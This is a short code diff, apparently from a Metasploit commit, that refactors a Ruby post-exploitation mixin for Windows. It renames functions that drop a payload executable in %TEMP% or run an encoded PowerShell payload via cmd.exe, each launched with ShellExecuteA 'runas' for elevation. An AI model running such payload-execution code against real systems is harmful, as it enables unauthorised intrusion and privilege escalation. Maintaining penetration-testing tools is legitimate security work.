@@ -9,7 +9,7 @@ module Msf::Post::Windows::Runas
9
9
include Msf ::Exploit ::EXE
10
10
include Msf ::Exploit ::Powershell
11
11
12
- def execute_exe ( filename = nil , path = nil )
12
+ def shell_execute_exe ( filename = nil , path = nil )
13
13
exe_payload = generate_payload_exe
14
14
payload_filename = filename || Rex ::Text . rand_text_alpha ( ( rand ( 8 ) + 6 ) ) + '.exe'
15
15
payload_path = path || expand_path ( '%TEMP%' )
@@ -20,13 +20,15 @@ def execute_exe(filename = nil, path = nil)
20
20
shell_exec ( command , args )
21
21
end
22
22
23
- def execute_psh
24
- command , args = 'cmd.exe' , " /c #{ cmd_psh_payload ( payload . encoded ) } "
23
+ def shell_execute_psh
24
+ powershell_command = cmd_psh_payload ( payload . encoded , payload_instance . arch . first )
25
+ command = 'cmd.exe'
26
+ args = "/c #{ powershell_command } "
25
27
shell_exec ( command , args )
26
28
end
27
29
28
30
def shell_exec ( command , args )
29
31
print_status ( 'Executing Command!' )
30
- session . railgun . shell32 . ShellExecuteA ( nil , 'runas' , command , args , nil , 5 )
32
+ session . railgun . shell32 . ShellExecuteA ( nil , 'runas' , command , args , nil , 'SW_SHOW' )
31
33
end
32
34
end
0 commit comments